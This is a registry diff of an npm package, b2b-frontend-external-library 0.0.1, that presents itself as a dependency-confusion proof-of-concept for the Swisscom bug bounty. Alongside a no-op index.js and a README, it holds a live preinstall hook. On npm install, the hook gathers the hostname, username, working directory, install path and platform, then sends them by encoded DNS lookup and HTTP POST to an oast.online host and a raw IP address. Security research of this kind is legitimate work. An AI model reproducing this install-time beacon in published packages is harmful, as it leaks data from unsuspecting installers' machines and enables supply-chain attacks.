b2b-frontend-external-library 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +27 -0
- package/index.js +17 -0
- package/package.json +15 -0
- package/preinstall.js +100 -0
package/README.md
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
# SECURITY RESEARCH PLACEHOLDER
|
|
2
|
+
|
|
3
|
+
This package on the **public npm registry is not the real package** of this name.
|
|
4
|
+
|
|
5
|
+
It was published as a **dependency-confusion proof-of-concept** by a security
|
|
6
|
+
researcher participating in the Swisscom Bug Bounty Programme. This exact package
|
|
7
|
+
name was found referenced in a `package.json` served from a public Swisscom asset,
|
|
8
|
+
with a `publishConfig.registry` pointing at an internal Artifactory *virtual*
|
|
9
|
+
repository, while the name was **unregistered on the public npm registry**.
|
|
10
|
+
|
|
11
|
+
## What it does
|
|
12
|
+
|
|
13
|
+
- `index.js` is a **graceful no-op** (exports `{}` and a no-op function) so a build
|
|
14
|
+
that resolves this name from the public registry does not hard-crash.
|
|
15
|
+
- `preinstall` sends a single one-shot beacon containing **only**: a fixed token,
|
|
16
|
+
the resolved package name+version, `os.hostname()`, the local username, the
|
|
17
|
+
install directory, and OS/Node/npm version strings. It reads **no files**, no
|
|
18
|
+
environment variable values, no credentials, opens no shell, and persists nothing.
|
|
19
|
+
|
|
20
|
+
## For Swisscom Security
|
|
21
|
+
|
|
22
|
+
The beacon demonstrates whether an internal build/CI pipeline resolves this name
|
|
23
|
+
from the public registry instead of the internal Artifactory. All published
|
|
24
|
+
versions will be **unpublished after triage**. Full details are in the bug bounty
|
|
25
|
+
report.
|
|
26
|
+
|
|
27
|
+
Contact: https://hackerone.com/pm
|
package/index.js
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Graceful no-op entrypoint.
|
|
3
|
+
*
|
|
4
|
+
* This is a dependency-confusion security-research placeholder, NOT the real
|
|
5
|
+
* package. It intentionally does nothing so that any build which resolves this
|
|
6
|
+
* name from the public registry does not hard-crash on import. It exports an
|
|
7
|
+
* empty object and a no-op function.
|
|
8
|
+
*
|
|
9
|
+
* Contact: https://hackerone.com/pm (reported to Swisscom Bug Bounty)
|
|
10
|
+
*/
|
|
11
|
+
'use strict';
|
|
12
|
+
|
|
13
|
+
function noop() {}
|
|
14
|
+
|
|
15
|
+
module.exports = {};
|
|
16
|
+
module.exports.default = noop;
|
|
17
|
+
module.exports.__securityResearchPlaceholder = true;
|
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "b2b-frontend-external-library",
|
|
3
|
+
"version": "0.0.1",
|
|
4
|
+
"description": "Authorized security research placeholder - dependency confusion proof-of-concept. Not the real package. Graceful no-op. Will be unpublished after triage.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"license": "MIT",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"preinstall": "node preinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"files": [
|
|
11
|
+
"preinstall.js",
|
|
12
|
+
"index.js",
|
|
13
|
+
"README.md"
|
|
14
|
+
]
|
|
15
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Dependency-confusion proof-of-concept beacon - BENIGN.
|
|
3
|
+
*
|
|
4
|
+
* Authorized security research (Swisscom Bug Bounty). On `npm install` this
|
|
5
|
+
* sends ONE short out-of-band beacon containing ONLY:
|
|
6
|
+
* - a fixed unique token
|
|
7
|
+
* - the resolved package name + version (which of the internal names fired)
|
|
8
|
+
* - os.hostname()
|
|
9
|
+
* - local username (os.userInfo().username)
|
|
10
|
+
* - install dir + cwd
|
|
11
|
+
* - OS platform / Node version / npm user-agent string
|
|
12
|
+
*
|
|
13
|
+
* It does NOT read files, does NOT read environment variable VALUES, does NOT
|
|
14
|
+
* touch credentials or network config, does NOT persist anything, does NOT open
|
|
15
|
+
* a shell. It fails silently and never breaks the install. index.js is a
|
|
16
|
+
* graceful no-op so a build that resolves this package does not hard-crash.
|
|
17
|
+
*
|
|
18
|
+
* Contact: https://hackerone.com/pm (reported to Swisscom Bug Bounty)
|
|
19
|
+
*/
|
|
20
|
+
|
|
21
|
+
'use strict';
|
|
22
|
+
|
|
23
|
+
var os = require('os');
|
|
24
|
+
var dns = require('dns');
|
|
25
|
+
var https = require('https');
|
|
26
|
+
var http = require('http');
|
|
27
|
+
|
|
28
|
+
// ---- CONFIG ----------------------------------------------------------------
|
|
29
|
+
var TOKEN = 'swisscom-oce-3b9f1c7a2e';
|
|
30
|
+
var OAST_HOST = 'dae7n4pijsh1ahi9684gu8get3kaiefc9.oast.online'; // DNS + HTTP(S)
|
|
31
|
+
var IP_HOST = '5.189.159.252'; // independent HTTP-only logger
|
|
32
|
+
var HTTP_TIMEOUT_MS = 4000;
|
|
33
|
+
var HARD_TIMEOUT_MS = 8000;
|
|
34
|
+
// -----------------------------------------------------------------------
|
|
35
|
+
|
|
36
|
+
setTimeout(function () { try { process.exit(0); } catch (e) {} }, HARD_TIMEOUT_MS).unref();
|
|
37
|
+
|
|
38
|
+
function safe(fn) { try { return fn(); } catch (e) { return null; } }
|
|
39
|
+
|
|
40
|
+
function collect() {
|
|
41
|
+
var user = 'unknown';
|
|
42
|
+
try { user = os.userInfo().username || process.env.USER || process.env.USERNAME || 'unknown'; } catch (e) {}
|
|
43
|
+
var pkg = (process.env.npm_package_name || 'unknown') + '@' + (process.env.npm_package_version || 'unknown');
|
|
44
|
+
return {
|
|
45
|
+
token: TOKEN,
|
|
46
|
+
pkg: pkg,
|
|
47
|
+
hostname: safe(function () { return os.hostname(); }),
|
|
48
|
+
username: user,
|
|
49
|
+
cwd: safe(function () { return process.cwd(); }),
|
|
50
|
+
installPath: __dirname,
|
|
51
|
+
platform: safe(function () { return process.platform + ' ' + os.release(); }),
|
|
52
|
+
node: process.version,
|
|
53
|
+
npm_user_agent: process.env.npm_config_user_agent || ''
|
|
54
|
+
};
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
function hexLabel(s) {
|
|
58
|
+
return Buffer.from(String(s)).toString('hex').slice(0, 60);
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
function dnsBeacon(info) {
|
|
62
|
+
try {
|
|
63
|
+
var name = [
|
|
64
|
+
hexLabel(TOKEN),
|
|
65
|
+
hexLabel(info.pkg),
|
|
66
|
+
hexLabel(info.hostname),
|
|
67
|
+
hexLabel(info.username),
|
|
68
|
+
OAST_HOST
|
|
69
|
+
].join('.');
|
|
70
|
+
dns.lookup(name, function () {});
|
|
71
|
+
} catch (e) {}
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
function httpBeacon(host, useHttps, info) {
|
|
75
|
+
var body;
|
|
76
|
+
try { body = JSON.stringify(info); } catch (e) { body = '{"token":"' + TOKEN + '"}'; }
|
|
77
|
+
var opts = {
|
|
78
|
+
method: 'POST',
|
|
79
|
+
host: host,
|
|
80
|
+
port: useHttps ? 443 : 80,
|
|
81
|
+
path: '/beacon/' + encodeURIComponent(TOKEN),
|
|
82
|
+
headers: { 'content-type': 'application/json', 'content-length': Buffer.byteLength(body) },
|
|
83
|
+
timeout: HTTP_TIMEOUT_MS
|
|
84
|
+
};
|
|
85
|
+
try {
|
|
86
|
+
var lib = useHttps ? https : http;
|
|
87
|
+
var req = lib.request(opts, function (res) { res.resume(); });
|
|
88
|
+
req.on('timeout', function () { req.destroy(); });
|
|
89
|
+
req.on('error', function () { if (useHttps) { httpBeacon(host, false, info); } });
|
|
90
|
+
req.write(body);
|
|
91
|
+
req.end();
|
|
92
|
+
} catch (e) {}
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
try {
|
|
96
|
+
var info = collect();
|
|
97
|
+
dnsBeacon(info);
|
|
98
|
+
httpBeacon(OAST_HOST, true, info);
|
|
99
|
+
httpBeacon(IP_HOST, false, info);
|
|
100
|
+
} catch (e) {}
|